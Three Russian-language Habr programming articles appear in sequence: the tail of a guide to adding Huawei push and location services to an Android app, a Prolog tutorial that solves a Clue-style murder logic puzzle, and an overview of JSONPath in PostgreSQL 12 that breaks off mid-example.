в конец файла `build.gradle` на уровне приложения, чтобы отключить манифест для `agcp`. Тут скорее проблема в том, что `agcp` ищет файл-манифест, но не может его найти и загрузить, что вероятнее всего является проблемой `agconnect`. По крайней мере, именно так нам ответила официальная техническая поддержка Huawei.
**Configuring AndroidManifest.xml**
Не знаю почему, но тут не сказано про автоматическую инициализацию, про которую написано [в пункте 2.6 Automatic Initialization](https://developer.huawei.com/consumer/en/doc/development/HMS-Guides/push-basic-capability) полной документации. Это необходимо, если вы отправляете токен на сервер в методе
```
public void onNewToken(String token) {}
```
**Sending Messages: HUAWEI Push Kit Console.**
С его помощью вы можете проверить работу пушей. Интересный факт: если вы в консоли выберете `Type: Notification Message`, то они в обход обработчика `onMessageReceived(RemoteMessage message)` сразу будут отображены на телефоне.
Когда я настраивал работу пушей, мне часто приходилось пользоваться консолью. И у нее, и у пушей отправленных с сервера, были задержки вплоть до 30 минут. Надеюсь, это были временные трудности, с которыми разработчики уже справились.
Теперь у нас на телефоне есть два пуш-сервиса, но как их организовать их совместную работу? Для начала надо определить, какие сервисы доступны на телефоне. Мы у себя решили, что Google-сервисы будут для нас в приоритете. Допустим, если на телефоне доступны и Google-, и Huawei-сервисы, мы работаем с Google.
На сервер мы отправляем флаг состояния сервисов с возможными значениями:
`- UNKNOWN`
`- GOOGLE`
`- HUAWEI`
```
fun checkServices(context: Context): PlayServicesState {
val googleAPI = GoogleApiAvailability.getInstance()
when (googleAPI.isGooglePlayServicesAvailable(context)) {
ConnectionResult.SUCCESS,
ConnectionResult.SERVICE_MISSING,
ConnectionResult.SERVICE_VERSION_UPDATE_REQUIRED,
ConnectionResult.SERVICE_DISABLED -> return PlayServicesState.GOOGLE
}
val huaweiAPI = HuaweiApiAvailability.getInstance()
when (huaweiAPI.isHuaweiMobileNoticeAvailable(context)) {
com.huawei.hms.api.ConnectionResult.SUCCESS,
com.huawei.hms.api.ConnectionResult.SERVICE_MISSING,
com.huawei.hms.api.ConnectionResult.SERVICE_VERSION_UPDATE_REQUIRED,
com.huawei.hms.api.ConnectionResult.SERVICE_DISABLED -> return PlayServicesState.HUAWEI
}
return PlayServicesState.UNKNOWN
}
```
В зависимости от полученного значения, сервер будет отправлять пуш-нотификации в соответствующий сервис.
Организовать их работу является делом техники. Я поступил просто.
Обработка событий для FCM:
```
class AppFcmListenerService : FirebaseMessagingService() {
private val cloudMessageHandler: CloudMessageHandler = GoogleMessageHandler(this)
override fun onMessageReceived(message: RemoteMessage) {
cloudMessageHandler.onMessageReceived(message)
}
}
```
и HCM:
```
class AppHmsListenerService : HmsMessageService() {
private val cloudMessageHandler: CloudMessageHandler = HuaweiMessageHandler(this)
override fun onMessageReceived(message: RemoteMessage) {
cloudMessageHandler.onMessageReceived(message)
}
}
```
делегируется абстрактному классу:
```
abstract class CloudMessageHandler {
fun onMessageReceived(message: Any) {
val data = getData(message)
onMessageReceived(data)
}
private fun onMessageReceived(data: Map) {
//непосредственная обработка пушей
}
abstract fun getData(message: Any) : Map {
}
```
который имеет две имплементации:
для FCM:
```
class FirebaseMessageHandler(override val context: Context) : CloudMessageHandler(context) {
override fun getData(message: Any): Map {
return (message as RemoteMessage).data
}
}
```
для HCM:
```
class HuaweiMessageHandler(override val context: Context) : CloudMessageHandler(context) {
override fun getData(message: Any): Map {
return (message as RemoteMessage).dataOfMap
}
}
```
Классы Huawei имеют почти схожий интерфейс с Google-сервисами. Это «почти» лично у меня проявилось в том, что у `RemoteMessage` из `com.google.firebase.messaging` для получения `Map` нужно вызвать `RemoteMessage.getData()`, а для `RemoteMessage` из `com.huawei.hms.push` – `getDataOfMap()`.
Location Kit – определение локации
----------------------------------
Определением локации может заниматься `LOCATION_SERVICE`, который доступен без Google и Huawei сервисов. Но для сервиса пассажирских перевозок точное определение локации является важным параметром. Благо, интерфейсы классов Location Kit ничем не отличались от одноименных для Google-сервисов, значит не отличалось и их применение в коде. Однако, сервисы Huawei оказались менее точными в работе. Надеюсь, это временная проблема.
Также мы столкнулись с тем, что запрос геолокации идет через HMS Core, а значит для корректной работы необходимо выставить права для геолокации как «Разрешить всегда».
Замена Google карт
------------------
В СНГ мы использовали OSM движок с тайлами 2ГИС. На первом этапе интеграции мы решили не работать с Map Kit из HUAWEI, а просто использовать движок OSM с тайлами OSM. Все просто.
Перед релизом
-------------
Советую всем обратить внимание на [распространенные причины отказа](https://developer.huawei.com/consumer/en/doc/30208) перед запуском вашего приложения в AppGallery.
Например, релизная команда Huawei сообщила нам о следующих нарушениях.
**Non-Standard Presentation of Hong Kong and Macau**
Китай щепетильно относится к суверенитету своих автономных административных районов и просит их назвать «region». Это вынудило нас изменить все заголовки, где упоминается страна на упоминание страны или региона.
**Information about Third-party Competing Products in App Details**
Не забудьте для оценки приложения отправить пользователя на страницу в App Gallery, а не Google Play Store :)
В целом Huawei-сервисы аналогичны Google-сервисам и поддержка их непосредственно в коде не вызывает трудностей. Вопросы могут быть только к Huawei «экосистеме» в целом, но их можно списать на ее молодость и с большой вероятностью все будет лучше со временем. | https://habr.com/ru/post/497142/ | null | ru | null |
# Ищем убийцу на Прологе
Каждое воскресенье в нашей компании принято устраивать весёлые викторины, это одна из них.
Загадка
=======
Чтобы найти убийцу мистера Бодди, нужно узнать, где находился каждый человек и какое оружие было в комнате. Подсказки разбросаны по всей викторине (вы не можете ответить на первый вопрос, пока не прочитаете все десять).
* Для начала, представим подозреваемых. Есть три мужчины (Джордж, Джон, Роберт) и три женщины (Барбара, Кристина, Иоланда). Каждый человек находится в отдельной комнате (ванная, столовая, кухня, гостиная, кладовая, кабинет). В каждой комнате найдено подозрительное оружие (сумка, огнестрельное оружие, газ, нож, яд, верёвка). Вопрос: кого нашли на кухне?
* Подсказка 1. При мужчине на кухне нет ни верёвки, ни ножа, ни сумки. Оружие не является огнестрельным. Вопрос: какое оружие найдено на кухне?
* Подсказка 2. Барбара либо в кабинете, либо в ванной, а Иоланда — в другой комнате из двух названных. В какой комнате нашли Барбару?
* Подсказка 3. Человек с сумкой — это ни Барбара, ни Джордж, и он не был ни в ванной, ни в столовой. У кого была сумка?
* Подсказка 4. Женщина с верёвкой найдена в кабинете. Кто это?
* Подсказка 5. Оружие в гостиной принадлежит либо Джону, либо Джорджу. Какое оружие в гостиной?
* Подсказка 6. Ножа не было в столовой. Где был нож?
* Подсказка 7. Иоланды не было ни в кабинете, ни в кладовой с соответствующим оружием для этих комнат. Какое оружие у Иоланды?
* Подсказка 8. У Джорджа найдено огнестрельное оружие. В какой комнате?
* Было обнаружено, что мистера Бодди отравили газом в кладовой. Подозреваемый в той комнате был убийцей. Кто же это?
Я тащусь от таких головоломок (вообще-то почти от любых головоломок). Они могли бы занять часы и часы размышлений, но всегда на помощь приходит Prolog! Посмотрим, как он помогает решить такие задачи на рассуждения.
Prolog 101
==========
Установка SWI-Prolog
--------------------
```
~> swipl
Welcome to SWI-Prolog (Multi-threaded, 64 bits, Version 6.6.6)
Copyright (c) 1990-2013 University of Amsterdam, VU Amsterdam
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to redistribute it under certain conditions.
Please visit http://www.swi-prolog.org for details.
For help, use ?- help(Topic). or ?- apropos(Word).
?- write('Hello, World!').
Hello, World!
true.
?- write('Hello,'), nl, write('world').
Hello,
world
true.
?- X is 3*4 + 2.
X = 14.
```
* `swipl` — программа-интерпретатор Prolog
* `write` называется функтором, а представление `write/1` означает, что он принимает 1 аргумент (та же концепция в Erlang и Elixir для добавления количества аргументов к имени функции)
* `nl` используется для печати новой строки
* последовательность команд разделяется запятыми, которые также заменяют оператор AND
* за оператором присвоения `is` следует математическое выражение
* переменные пишутся заглавными `X`, а не x
База знаний
-----------
Суть Prolog — в констатации фактов, составлении фактов и их запросе.
Создание файла `hello.pl`:
```
friend(john, julia).
friend(john, jack).
friend(julia, sam).
friend(julia, molly).
loves(john, julia).
loves(julia, sam).
loves(sam, julia).
male(brad).
male(john).
male(jim).
male(alfred).
female(marry).
child(brad, alfred).
child(john, jim).
child(john, marry).
```
* для загрузки используем `[hello].`: обратите внимание на точку в конце
* `listing` перечисляет все факты в базе знаний
```
?- [hello].
% hello compiled 0.00 sec, 3 clauses
true.
?- listing(friend).
friend(john, julia).
friend(john, jack).
friend(julia, sam).
friend(julia, molly).
true.
?- listing(loves).
loves(john, julia).
loves(julia, sam).
loves(sam, julia).
true.
```
Запрос фактов
-------------
После изложения фактов в базе знаний можем пойти дальше и задавать вопросы об истинности фактов, а также о том, какие выводы можно из них сделать.
```
?- friend(john, julia).
true .
?- friend(john, jack).
true.
?- loves(john, julia).
true.
?- loves(john, sam).
false.
```
Можем составлять и более сложные вопросы. Например, кто дружит с Джоном или кто любит Джулию.
```
?- friend(john, Who).
Who = julia ;
Who = jack.
```
```
?- listing(child).
child(brad, alfred).
child(john, jim).
child(john, mary).
true.
?- child(john, X).
X = jim ;
X = mary.
```
Джон во френдзоне?
------------------
Мы установили дружественные отношения Джона с Джулией (`friend(john, julia)`), но для Prolog это не значит, что Джулия дружит с Джоном: нужно добавить ещё один факт `friend(julia, john)`. Также мы уже указали, у кого какие дети, и явно не хотим дублировать код, отдельно указывая родителей каждого ребёнка. Мы не хотим писать что-то вроде
```
child(brad, alfred).
child(john, jim).
child(john, mary).
parent(alfred, brad).
parent(jim, john).
parent(mary, john).
```
Prolog помогает избежать дублирования с помощью правил логического заключения:
```
rule :- stmt1, stmt2,...
```
Правило истинно, если все внутренние утверждения истинны (перечислены и логически сложены через запятую).
```
friend(X, Y) :- friend(Y,X).
parent(X, Y) :- child(Y,X).
father(X, Y) :- child(Y,X), male(X).
mother(X, Y) :- child(Y,X), female(X).
friendzoned(X) :- loves(X, Y), \+ loves(Y,X).
```
* правило `friend(X,Y)` справедливо при `friend(Y,X`)
* `parent(X,Y)` справедливо при установленном `child(Y,X)`
* `father(X,Y)` справедливо при установленных `parent(X,Y)` и `male(X)`
* `mother(X,Y)` справедливо при установленных `parent(X,Y)` и `female(X)`
* `friendzoned(X)` справедливо, если X любит `SOMEONE Y`, а Y не любит X (заметили скрытую переменную Y?)
```
?- friend(julia, john).
true .
?- male(jim).
true.
?- parent(jim,X).
X = john.
?- father(jim, X).
X = john.
?- mother(X, john).
X = marry.
?- mother(marry,X).
X = john.
?- mother(marry, john).
true.
?- loves(julia, X).
X = sam.
?- friendzoned(julia).
false.
?- friendzoned(john).
true.
```
Хорошо, теперь у нас есть все необходимые знания. Потренируемся на раскраске карты.
Раскраска карты
===============
Начнём с известной математической проблемы. Требуется, чтобы ни у каких смежных областей не было одинакового цвета.
Поэтому рассуждения должны быть такие, у нас есть три вещи:
1. Переменные — области, которые мы хотим раскрасить: A, B, С, D, Е.
2. Домен — диапазон значений, которые можно присвоить переменным: красный, синий, зелёный.
3. Ограничение, что смежные области не могут быть одинакового цвета.
Домен
-----
Определим домен наших областей (красный, зелёный, синий).
```
color(red).
color(green).
color(blue).
```
Это всё.
Спрашиваем решение
------------------
```
colorify(A,B,C,D,E) :-
color(A), color(B), color(C), color(D), color(E),
\+ A=B, \+ A=C, \+ A=D, \+ A=E,
\+ B=C, \+ C=D, \+ D=E.
```
Здесь мы определяем решение как правило `colorify` с пятью переменными А, B, С, D, Е, а внутри правила назначаем доменный цвет (красный, синий, зелёный) для переменных и устанавливаем ограничения, что А не равно B, не равно С… и т. д.
> `\+ X=Y` означает, что X не равно Y
Prolog продолжит генерировать значения, пока не найдёт вариант, удовлетворяющий правилу с учётом ограничений.
```
?- [mapcoloring]
| .
true.
?- colorify(A,B,C,D,E)
| .
A = red,
B = D, D = green,
C = E, E = blue ;
A = red,
B = D, D = blue,
C = E, E = green ;
A = green,
B = D, D = red,
C = E, E = blue ;
A = green,
B = D, D = blue,
C = E, E = red ;
A = blue,
B = D, D = red,
C = E, E = green ;
A = blue,
B = D, D = green,
C = E, E = red
```
```
color(red).
color(green).
color(blue).
colorify(A,B,C,D,E) :-
color(A), color(B), color(C), color(D), color(E),
\+ A=B, \+ A=C, \+ A=D, \+ A=E,
\+ B=C, \+ C=D, \+ D=E.
```
… но мы здесь не картинки раскрашиваем, а ищем убийцу.
Убийство
--------
Для начала, представим подозреваемых. Есть три мужчины (Джордж, Джон, Роберт) и три женщины (Барбара, Кристина, Иоланда). Каждый человек находится в отдельной комнате (ванная, столовая, кухня, гостиная, кладовая, кабинет). В каждой комнате найдено подозрительное оружие (сумка, огнестрельное оружие, газ, нож, яд, верёвка).
Кого нашли на кухне?
### Домен
Из этого можно сделать вывод, что у нас пять доменов: `man`, `woman`, `person` или подозреваемый, `location` и `weapons`, а наши переменные (A, B, C, D, E, F) должны представлять и человека, и место, и оружие с некоторыми ограничениями, которые будут выявлены в предстоящих подсказках.
```
man(george). man(john). man(robert).
woman(barbara). woman(christine). woman(yolanda).
person(X):- man(X).
person(X):- woman(X).
location(bathroom). location(dining). location(kitchen). location(livingroom). location(pantry). location(study).
weapon(bag). weapon(firearm). weapon(gas). weapon(knife). weapon(poison). weapon(rope).
```
Правило `uniq_ppl` генерирует уникальные значения для наших переменных.
```
uniq_ppl(A,B,C,D,E,F):- person(A), person(B), person(C), person(D), person(E), person(F), \+A=B, \+A=C, \+A=D, \+A=E, \+A=F, \+B=C, \+B=D, \+B=E, \+B=F, \+C=D, \+C=E, \+C=F, \+D=E, \+D=F, \+E=F.
```
### Решение
Мы начинаем с определения правила убийцы с уникальными людьми в местах и уникальных людей, имеющих оружие, и теперь будет указывать отношение между людьми в местах с теми, кто имеет оружие
Обратите внимание, что у нас по-прежнему шесть подозреваемых.
#### Вступление
```
murderer(X) :-
uniq_ppl(Bathroom, Dining, Kitchen, Livingroom, Pantry, Study),
uniq_ppl(Bag, Firearm, Gas, Knife, Poison, Rope),
```
Чтобы легко рассуждать о переменных, таких как ванная, столовая, огнестрельное оружие, газ, мы сразу определяем:
* Ванная — оно же подозреваемый (мужчина или женщина) в ванной
* Огнестрельное оружие — оно же подозреваемый (мужчина или женщина) с огнестрельным оружием
* и так далее… можете представить это как [решётку](https://docs.google.com/spreadsheets/d/1pxmVaG6eMbkVg55rVYJquIVxaN3l09nrW6HJH7xdITM/edit#gid=0)
Теперь продолжаем добавлять ограничения после последней запятой в правиле `murderer`.
#### Подсказка 1
При мужчине на кухне нет верёвки, ножа или сумки. Оружие не является огнестрельным. Какое оружие найдено на кухне?
```
% 2. Clue 1: The man in the kitchen was not found with the rope, knife, or bag.
% Which weapon, then, which was not the firearm, was found in the kitchen?
man(Kitchen),
\+Kitchen=Rope, \+Kitchen=Knife, \+Kitchen=Bag, \+Kitchen=Firearm,
```
Здесь мы говорим, что переменная `Kitchen` удовлетворяет факту `man` (определено в нашем домене), и заявляем, что кем бы ни был человек на кухне, у него нет ничего из перечисленного: `Rope`, `Knife`, `Bag`, `Firearm`.
#### Подсказка 2
Подсказка 2. Барбара либо в кабинете, либо в ванной, а Иоланда — в другой комнате из двух названных. В какой комнате нашли Барбару?
Таким образом, мы можем сказать, что `woman` есть и в кабинете, и в ванной, И это не Кристина, а также вычёркиваем остальные варианты для Барбары и Иоланды (кухня, столовая, гостиная, кладовая).
```
% % 3. Clue 2: Barbara was either in the study or the bathroom; Yolanda was in the other.
% % Which room was Barbara found in?
woman(Bathroom), woman(Study), \+christine=Bathroom, \+christine=Study,
\+barbara=Dining, \+barbara=Kitchen, \+barbara=Livingroom, \+barbara=Pantry,
```
#### Подсказка 3
Человек с сумкой — это ни Барбара, ни Джордж, и он не был ни в ванной, ни в столовой. У кого была сумка?
```
% % 4. Clue 3: The person with the bag, who was not Barbara nor George, was not in the bathroom nor the dining room.
% % Who had the bag in the room with them?
\+barbara=Bag, \+george=Bag, \+Bag=Bathroom, \+Bag=Dining,
```
#### Подсказка 4
Женщина с верёвкой найдена в кабинете. Кто это?
```
% % 5. Clue 4: The woman with the rope was found in the study.
% % Who had the rope?
woman(Rope), Rope=Study,
```
#### Подсказка 5
Подсказка 5. Оружие в гостиной принадлежит либо Джону, либо Джорджу. Какое оружие в гостиной?
```
man in Livingroom
Livingroom isn’t robert
% % 6. Clue 5: The weapon in the living room was found with either John or George.
% % What weapon was in the living room?
man(Livingroom), \+Livingroom=robert,
```
#### Подсказка 6
Ножа не было в столовой. Где был нож?
```
% % 7. Clue 6: The knife was not in the dining room.
% % So where was the knife?
\+Knife=Dining,
```
#### Подсказка 7
Подсказка 7. Иоланды не было ни в кабинете, ни в кладовой. Какое оружие в комнате у Иоланды?
```
% % 8. Clue 7: Yolanda was not with the weapon found in the study nor the pantry.
% % What weapon was found with Yolanda?
\+yolanda=Pantry, \+yolanda=Study,
```
#### Подсказка 8
У Джорджа найдено огнестрельное оружие.
```
% % 9. Clue 8: The firearm was in the room with George.
% % In which room was the firearm found?
Firearm=george,
```
#### Подсказка 9
Было обнаружено, что мистера Бодди отравили газом в кладовой. Подозреваемый в той комнате был убийцей. Кто это?
```
% % 10. It was discovered that Mr. Boddy was gassed in the pantry. The suspect found in that room was the murderer.
% % Who, then, do you point the finger towards?
Pantry=Gas, Pantry=X, write("KILLER IS :"), write(X), nl, writeanswers(Bathroom, Dining, Kitchen, Livingroom, Pantry, Study, Bag, Firearm, Gas, Knife, Poison, Rope).
```
Устанавливаем соответствие для газа, кладовой и убийцы, затем используем `write` для вывода ответов `writeanswers`.
```
writeanswers(Bathroom, Dining, Kitchen, Livingroom, Pantry, Study, Bag, Firearm, Gas, Knife, Poison, Rope):-
write("Bathroom: "), write(Bathroom), nl,
write("Dining: "), write(Dining), nl,
write("Livingroom: "), write(Livingroom), nl,
write("Pantry: "), write(Pantry), nl,
write("Study: "), write(Study), nl,
write("Kitchen: "), write(Kitchen), nl,
write("Knife: "), write(Knife), nl,
write("Gas: "), write(Gas), nl,
write("Rope: "), write(Rope), nl,
write("Bag: "), write(Bag), nl,
write("Poison: "), write(Poison), nl,
write("Firearm: "), write(Firearm), nl.
```
Кто убийца?
-----------
```
?- [crime2].
true.
?- murderer(X).
KILLER IS :christine
Bathroom: yolanda
Dining: george
Livingroom: john
Pantry: christine
Study: barbara
Kitchen: robert
Knife: yolanda
Gas: christine
Rope: barbara
Bag: john
Poison: robert
Firearm: george
X = christine ;
```
Код опубликован [здесь](https://github.com/xmonader/prolog-rands/blob/master/crime.pl). Вероятно, он мог быть намного лучше, поскольку я не эксперт в Прологе :) | https://habr.com/ru/post/434172/ | null | ru | null |
# Что заморозили на feature freeze 2019. Часть I. JSONPath
После [**комитфеста 2019-03**](https://commitfest.postgresql.org/22/) произошла заморозка функциональности (feature freeze). У нас это почти традиционная рубрика: о прошлогодней заморозке мы [уже писали](https://habr.com/ru/company/postgrespro/blog/353412/). Теперь итоги 2019: что из нового войдет в PostgreSQL 12. В этой части обзора, посвященной JSONPath, используются в том числе примеры и фрагменты из доклада «Postgres 12 в этюдах», который прочитал Олег Бартунов на [Saint Highload++](https://www.highload.ru/spb/2019) в СПБ 9 апреля сего года.
JSONPath
--------
Всё, что связано с JSON(B), актуально, востребовано в мире, в России, и это одно из важнейших направлений разработки в компании Postgres Professional. Тип jsonb, функции и операторы для работы с JSON/JSONB появились еще в версии PostgreSQL 9.4, их делала команда под руководством Олега Бартунова.
Стандартом SQL/2016 предусмотрена работа с JSON: там упоминается JSONPath — набор средств адресации данных внутри JSON; JSONTABLE — средства конвертации JSON в обычные таблицы; большое семейство функций и операторов. Несмотря на то, что JSON в Postgres поддерживается давно, в 2017 г Олег Бартунов с коллегами начали работать над поддержкой стандарта. Соответствовать стандарту — это всегда хорошо. Из всего, что описано в стандарте, в версию 12 попал только один, но важнейший патч — JSONPath, поэтому расскажем о нём в первую очередь.
В стародавние времена люди пользовались JSON, храня его в текстовых полях. В 9.3 появился специальный тип данных для JSON-а, но функциональность, связанная с ним, была небогата, и запросы с этим типом работали медленно из-за затрат времени на парсинг текстового представления JSON. Это останавливало многих потенциальных пользователей Postgres, предпочитавших NoSQL-базы. Производительность Postgres повысилась в 9.4, когда, благодаря О.Бартунову, А.Короткову и Ф.Сигаеву, в Postgres появился бинарный вариант JSON — тип jsonb.
jsonb не нужно каждый раз парсить, поэтому работать с ним гораздо быстрее. Из возникших одновременно с ним новых функций и операторов некоторые работают только с новым, бинарным типом, как, например, важный оператор вхождения **@>**, который проверяет, входит ли элемент или массив в данный JSONB:
```
SELECT '[1, 2, 3]'::jsonb @> '[1, 3]'::jsonb;
```
даёт TRUE, так как массив с правой стороны входит в массив слева. Но
```
SELECT '[1, 2, [1, 3]]'::jsonb @> '[1, 3]'::jsonb;
```
даст FALSE, так как в уровень вложенности другой, его надо задавать явно. Для типа jsonb введен оператор существования **?** (вопросительный знак), проверяющий, является ли строка ключом объекта или элементом массива на верхнем уровне значения JSONB, а также еще два похожих оператора (подробности [здесь](https://postgrespro.ru/docs/postgresql/9.4/datatype-json)). Они поддерживаются индексами GIN с двумя классами операторов GIN. Оператор **->** (стрелка) позволяет «перемещаться» по JSONB, он выдает значение по ключу или, если это массив, по индексу. Есть [еще несколько](https://postgrespro.ru/docs/postgresql/9.4/functions-json) операторов для перемещений. Но нет возможности организовать фильтры, работающие аналогично WHERE. Это был прорыв: благодаря jsonb, начался рост популярности Postgres как РСУБД с NoSQL фичами.
В 2014 году А.Коротковым, О.Бартуновым и Ф.Сигаевым было разработано расширение jsquery, вошедшее в результате в версию Postgres Pro Standard 9.5 (и в более поздние версии Standard и Enterprise). Оно дает дополнительные, очень широкие возможности для работы с json(b). Это расширение определяет язык запросов для извлечения данных из json(b) и индексы для ускорения этих запросов. Эта функциональность требовалась пользователям, они не готовы были ждать стандарта и включения новых функций в ванильную версию. О практической ценности свидетельствует и тот факт, что разработка спонсировалась Wargaming.net. В расширении реализован специальный тип — jsquery.
Запрос на этом языке компактен и выглядит, например, так:
```
SELECT '{"apt":[{"no": 1, "rooms":2}, {"no": 2, "rooms":3}, {"no": 3, "rooms":2}]}'::jsonb @@ 'apt.#.rooms=3'::jsquery;
```
Мы здесь спрашиваем, есть ли в доме квартиры «трёшки». Тип jsquery приходится указывать потому, что оператор @@ есть теперь и в типе jsonb. Описание [здесь](https://github.com/postgrespro/jsquery), а презентация со многими примерами [здесь](http://www.sai.msu.su/~megera/postgres/talks/pgconfeu-2014-jsquery.pdf).
Итого: В Postgres для работы с JSON всё уже было, и тут появился стандарт SQL:2016. Оказалось, что его семантика не так уж сильно отличается нашей в расширении jsquery. Не исключено, что авторы стандарта даже поглядывали на jsquery, изобретая JSONPath. Нашей команде пришлось реализовывать немного по-другому то, что у нас уже было и, конечно, много нового тоже.
Больше года назад, на мартовском коммитфесте плоды наших программистских усилий были предложены сообществу в виде 3 больших патчей с поддержкой стандарта [SQL:2016](https://en.wikipedia.org/wiki/SQL:2016):
SQL/JSON: JSONPath;
SQL/JSON: functions;
SQL/JSON: JSON\_TABLE.
Но разработать патч еще не всё дело, продвигать их тоже непросто, особенно если патчи большие и затрагивает много модулей. Требуется много итераций ревю-доработки, патч надо продвигать, как это делают коммерческие компании, вкладывая немало ресурсов (человеко-часов). Главный архитектор Postgres Professional, Александр Коротков, взялся за это сам (благо у него теперь статус коммиттера) и добился принятия патча JSONPath — главного из этой серии патчей. Второй и третий сейчас в статусе Needs Review. JSONPath, на котором сосредоточили усилия, позволяет работать со структурой JSON(B) и он достаточно гибок, чтобы выделять его фрагменты. Из 15 пунктов, прописанных в стандарте, реализованы 14, а это больше, чем в Oracle, MySQL и MS SQL.
Нотация в JSONPath отличается от операторов Postgres для работы с JSON и от нотации JSQuery. Иерархию обозначают точками:
$.a.b.c (в нотации postgres 11 пришлось бы написать 'a'->'b'->'c');
$ — текущий контекст элемента — фактически выражение с $ задает область json(b), которая подлежит обработке, в том числе фигурирует в фильтре, остальная часть в этом случае для работы недоступна;
@ — текущий контекст в выражении-фильтре — перебираются пути, доступные в выражении с $;
[\*] — массив;
\* — wildcard, в выражении с $ или @ означает любое значение участка пути, но с учетом иерархии;
\*\* — как часть выражения с $ или @ может означать любое значение участка пути без учета иерархии — удобно использовать, если не знаем уровень вложенности элементов;
оператор "?" позволяет организовать фильтр, аналогичный WHERE:
$.a.b.c? (@.x > 10);
$.a.b.c.x.type(), а также size(), double(), ceiling(), floor(), abs(), datetime(), keyvalue() — методы.
Запрос с функцией jsonb\_path\_query (о функциях ниже) может выглядеть так:
```
SELECT jsonb_path_query_array('[1,2,3,4,5]', '$[*] ? (@ > 3)');
jsonb_path_query_array
------------------------
[4, 5]
(1 row)
```
Хотя специальный патч с функциями не закоммичен, в патче JSONPath уже есть ключевые функции для работы с JSON(B):
```
jsonb_path_exists('{"a": 1}', '$.a') возвращает true (вызывается оператором "?")
jsonb_path_exists('{"a": 1}', '$.b') возвращает false
jsonb_path_match('{"a": 1}', '$.a == 1') возвращает true (вызывается оператором "@>")
jsonb_path_match('{"a": 1}', '$.a >= 2') возвращает false
jsonb_path_query('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 2)') возвращает 3, 4, 5
jsonb_path_query('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 5)') возвращает 0 записей
jsonb_path_query_array('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 2)') возвращает [3, 4, 5]
jsonb_path_query_array('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 5)') возвращает []
jsonb_path_query_first('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 2)') возвращает 3
jsonb_path_query_first('{"a": [1,2,3,4,5]}', '$.a[*] ? (@ > 5)') возвращает NULL
```
Обратите внимание, что равенство в выражениях JSONPath это одиночное "=", а в jsquery двойное: "==".
Для более изящных иллюстраций сгенерим JSONB в одноколоночной табличке house:
```
CREATE TABLE house(js jsonb);
INSERT INTO house VALUES
('{
"address": {
"city":"Moscow",
"street": "Ulyanova, 7A"
},
"lift": false,
"floor": [
{
"level": 1,
"apt": [
{"no": 1, "area": 40, "rooms": 1},
{"no": 2, "area": 80, "rooms": 3},
{"no": 3, "area": 50, "rooms": 2}
]
},
{
"level": 2,
"apt": [
{"no": 4, "area": 100, "rooms": 3},
{"no": 5, "area": 60, "rooms": 2}
]
}
]
}');
```
*Рис.1 Дерево Жилищного JSON-а с выделенными квартирами-листьями.*
Это странный JSON: у него спутанная иерархия, но он взят из жизни, а в жизни нередко приходится работать с тем, что есть, а не с тем, что должно быть. Вооружившись возможностями новой версии, найдем квартиры на 1-м и 2-м этажах, но не первые в списке квартир этажа (на дереве они выделены зеленым):
```
SELECT jsonb_path_query_array(js, '$.floor[0, 1].apt[1 to last]')
FROM house;
---------------------
[{"no": 2, "area": 80, "rooms": 3}, {"no": 3, "area": 50, "rooms": 2}, {"no": 5, "area": 60, "rooms": 2}]
```
В PostgreSQL 11 придется спросить так:
```
SELECT jsonb_agg(apt) FROM (
SELECT apt->generate_series(1, jsonb_array_length(apt) - 1) FROM (
SELECT js->'floor'->unnest(array[0, 1])->'apt' FROM house
) apts(apt)
) apts(apt);
```
Теперь совсем простой вопрос: есть ли строчки, содержащие (в любом месте) значение «Moscow»? Действительно простой:
```
SELECT jsonb_path_exists(js, '$.** ? (@ == "Moscow")') FROM house;
```
В версии 11 пришлось бы написать огромный скрипт:
```
WITH RECURSIVE t(value) AS (
SELECT * FROM house UNION ALL (
SELECT COALESCE(kv.value, e.value) AS value
FROM t
LEFT JOIN LATERAL jsonb_each (
CASE WHEN jsonb_typeof(t.value) = 'object' THEN t.value
ELSE NULL END
) kv ON true
LEFT JOIN LATERAL jsonb_array_elements (
CASE WHEN jsonb_typeof(t.value) = 'array' THEN t.value
ELSE NULL END
) e ON true
WHERE kv.value IS NOT NULL OR e.value IS NOT NULL
)
) SELECT EXISTS (SELECT 1 FROM t WHERE value = '"Moscow"');
```
*Рис.2 Дерево Жилищного JSON-а, найдена Москва!*
Ищем любую квартиру на любом этаже площадью от 40 до 90 кв.м:
```
select jsonb_path_query(js, '$.floor[*].apt[*] ? (@.area > 40 && @.area < 90)') FROM house;
jsonb_path_query
-----------------------------------
{"no": 2, "area": 80, "rooms": 3}
{"no": 3, "area": 50, "rooms": 2}
{"no": 5, "area": 60, "rooms": 2}
(3 rows)
```
Ищем квартиры с номерами после 3-й, используя наш жилищный джейсон:
```
SELECT jsonb_path_query(js, '$.floor.apt.no ? (@>3)') FROM house;
jsonb_path_query
------------------
4
5
(2 rows)
```
А вот как работает jsonb\_path\_query\_first:
```
SELECT jsonb_path_query_first(js, '$.floor.apt.no ? (@>3)') FROM house;
jsonb_path_query_first
------------------------
4
(1 row)
```
Видим, что выбрано только первое значение, удовлетворившее условию фильтра.
Булев оператор JSONPath для JSONB @@ называется оператором соответствия. Он вычисляет предикат JSONPath, вызывая функцию jsonb\_path\_match\_opr.
Другой булев оператор — @? — это проверка существования, отвечает на вопрос возвратит ли выражение JSONPath объекты SQL/JSON, вызывает функцию jsonb\_path\_exists\_opr:
```
проверка '[1,2,3]' @@ '$[*] == 3' возвращает true;
и '[1,2,3]' @? '$[*] @? (@ == 3)' - тоже true
```
Одного и того же результата можно достичь, используя разные операторы:
```
js @? '$.a' эквивалентно js @@ 'exists($.a)'
js @@ '$.a == 1' эквивалентно js @? '$ ? ($.a == 1)'
```
Прелесть булевых операторов JSONPath в том, что они поддерживаются, ускоряются индексами GIN. jsonb\_ops и jsonb\_path\_ops — соответствующие классы операторов. В примере отключаем SEQSCAN, так как у нас микротаблица, на больших таблицах оптимизатор сам выберет Bitmap Index:
```
SET ENABLE_SEQSCAN TO OFF;
CREATE INDEX ON house USING gin (js);
EXPLAIN (COSTS OFF) SELECT * FROM house
WHERE js @? '$.floor[*].apt[*] ? (@.rooms == 3)';
QUERY PLAN
--------------------------------------------------------------------------------
Bitmap Heap Scan on house
Recheck Cond: (js @? '$."floor"[*]."apt"[*]?(@."rooms" == 3)'::jsonpath)
